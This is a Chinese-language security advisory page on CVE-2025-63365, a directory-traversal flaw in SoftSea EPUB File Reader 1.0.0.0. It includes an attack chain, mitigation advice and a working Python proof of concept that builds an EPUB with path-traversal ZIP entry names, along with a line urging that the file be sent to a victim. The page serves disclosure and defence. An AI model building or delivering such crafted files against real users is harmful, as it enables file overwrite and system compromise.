IPBUF安全漏洞报告
English
CVE-2025-63365 CVSS 7.1 高危

CVE-2025-63365 SoftSea EPUB File Reader目录遍历漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-63365
漏洞类型
目录遍历
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
SoftSea EPUB File Reader 1.0.0.0

相关标签

目录遍历路径穿越CVE-2025-63365SoftSea EPUB File Reader本地攻击文件解压漏洞EPUB高危漏洞

漏洞概述

CVE-2025-63365是SoftSea EPUB File Reader 1.0.0.0版本中存在的一个高危目录遍历漏洞,CVSS评分达到7.1。该漏洞位于软件的EPUB文件处理组件中,具体涉及EPUB档案内容的提取和处理功能。由于软件在解析EPUB文件时未能正确验证文件路径中的特殊字符序列,攻击者可以构造恶意EPUB文件,通过在文件名中嵌入路径遍历序列(如"../"),使软件在解压时将文件写入到预期目录之外的任意位置。此漏洞需要用户交互才能触发,攻击者需要诱骗目标用户打开特制的恶意EPUB文件。成功利用此漏洞可导致敏感文件读取和系统文件覆写,可能造成机密信息泄露或系统被完全控制。鉴于该漏洞影响版本单一且为本地攻击向量,建议受影响用户尽快采取防护措施。

技术细节

SoftSea EPUB File Reader在处理EPUB文件时存在典型的路径遍历漏洞。EPUB格式本质上是一个ZIP压缩包,包含多个XML文件和资源文件。漏洞的根本原因在于软件在提取ZIP档案内容时,未对压缩包内文件名进行充分的安全验证。具体来说,当软件解压EPUB文件时,会遍历ZIP中的所有条目并提取到指定目录。如果攻击者在ZIP条目名称中插入路径遍历序列(如"../../../etc/passwd"或"..\\..\\windows\\system32\\config\\sam"),软件可能会将该文件提取到档案所在目录之外的位置。攻击者可以利用此漏洞读取系统敏感文件(如配置文件、密码文件),或覆写关键系统文件(如启动脚本、配置文件)以实现持久化或权限提升。由于CVSS向量显示需要用户交互(UI:R),攻击场景通常是社工攻击,诱骗用户打开来源不明的EPUB文件。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者收集目标软件信息,确认受害者使用SoftSea EPUB File Reader 1.0.0.0版本
STEP 2
步骤2: 构造恶意EPUB文件
攻击者创建包含路径遍历序列的恶意EPUB文件,在ZIP条目名称中嵌入'../'序列,指定要写入或读取的目标路径
STEP 3
步骤3: 社工传播
攻击者通过邮件、即时通讯、网盘分享等方式将恶意EPUB文件发送给目标用户,诱骗其打开文件
STEP 4
步骤4: 用户交互触发
目标用户在本地使用SoftSea EPUB Reader打开恶意EPUB文件,触发漏洞利用过程
STEP 5
步骤5: 路径遍历执行
软件在解压EPUB时未验证路径遍历序列,将恶意文件写入到正常提取目录之外的系统位置
STEP 6
步骤6: 达成攻击目标
根据恶意文件内容,攻击者可实现敏感文件读取、系统文件覆写、配置篡改或建立持久化后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zipfile import os def create_malicious_epub(): """ PoC for CVE-2025-63365: SoftSea EPUB File Reader Directory Traversal This PoC creates a malicious EPUB file that exploits the path traversal vulnerability. The EPUB contains a file with path traversal sequences to write outside the target directory. """ # Create the malicious EPUB file with zipfile.ZipFile('malicious_traversal.epub', 'w', zipfile.ZIP_DEFLATED) as epub: # Mimetype file (required for valid EPUB) epub.writestr('mimetype', 'application/epub+zip', compress_type=zipfile.ZIP_STORED) # META-INF/container.xml (required for EPUB structure) container_xml = '''<?xml version="1.0"?> <container version="1.0" xmlns="urn:oasis:names:tc:opendocument:xmlns:container"> <rootfiles> <rootfile full-path="OEBPS/content.opf" media-type="application/oebps-package+xml"/> </rootfiles> </container>''' epub.writestr('META-INF/container.xml', container_xml) # OEBPS/content.opf content_opf = '''<?xml version="1.0"?> <package xmlns="http://www.idpf.org/2007/opf" unique-identifier="bookid" version="2.0"> <metadata xmlns:dc="http://purl.org/dc/elements/1.1/"> <dc:title>Malicious EPUB</dc:title> <dc:creator>Attacker</dc:creator> <dc:identifier id="bookid">urn:uuid:12345</dc:identifier> </metadata> <manifest> <item id="content" href="content.xhtml" media-type="application/xhtml+xml"/> </manifest> <spine toc="ncx"> <itemref idref="content"/> </spine> </package>''' epub.writestr('OEBPS/content.opf', content_opf) # OEBPS/content.xhtml content_xhtml = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title>Content</title></head> <body><p>Malicious EPUB content</p></body> </html>''' epub.writestr('OEBPS/content.xhtml', content_xhtml) # MALICIOUS: Path traversal to write outside the target directory # This file will be written to ../../../malicious_file.txt malicious_content = 'This file was written via path traversal vulnerability!\nPayload executed successfully.' # Use different path traversal patterns for cross-platform compatibility # Windows-style traversal epub.writestr('..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\temp\\pwned_windows.txt', malicious_content) # Unix-style traversal epub.writestr('../../../../../../../../../../../../tmp/pwned_unix.txt', malicious_content) # Alternative: Read sensitive files via traversal # This demonstrates the file read capability print('[+] Created malicious EPUB file: malicious_traversal.epub') print('[+] The EPUB contains files with path traversal sequences') print('[+] When opened with vulnerable SoftSea EPUB Reader, files will be extracted outside target directory') print('[+] Unix target: ../../../../../../../../../../../../tmp/pwned_unix.txt') print('[+] Windows target: ../../../../../../../../../../../../temp/pwned_windows.txt') if __name__ == '__main__': create_malicious_epub() print('\n[!] Usage: Send malicious_traversal.epub to victim and trick them into opening it with SoftSea EPUB Reader 1.0.0.0') print('[!] This PoC is for educational and security research purposes only!')

影响范围

SoftSea EPUB File Reader <= 1.0.0.0

防御指南

临时缓解措施
在官方修复版本发布之前,用户应采取以下临时缓解措施:1) 不要打开来源不明的EPUB文件,特别是通过邮件或不明网站获取的文件;2) 使用杀毒软件对所有待打开的EPUB文件进行扫描检测;3) 在隔离环境(如虚拟机)中打开来自外部的EPUB文件;4) 监控系统关键目录(如/tmp、用户主目录、系统配置目录)的文件变更情况;5) 考虑暂时使用其他经过安全审计的EPUB阅读器替代SoftSea EPUB Reader;6) 对员工进行安全意识培训,提高对社工攻击的警惕性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表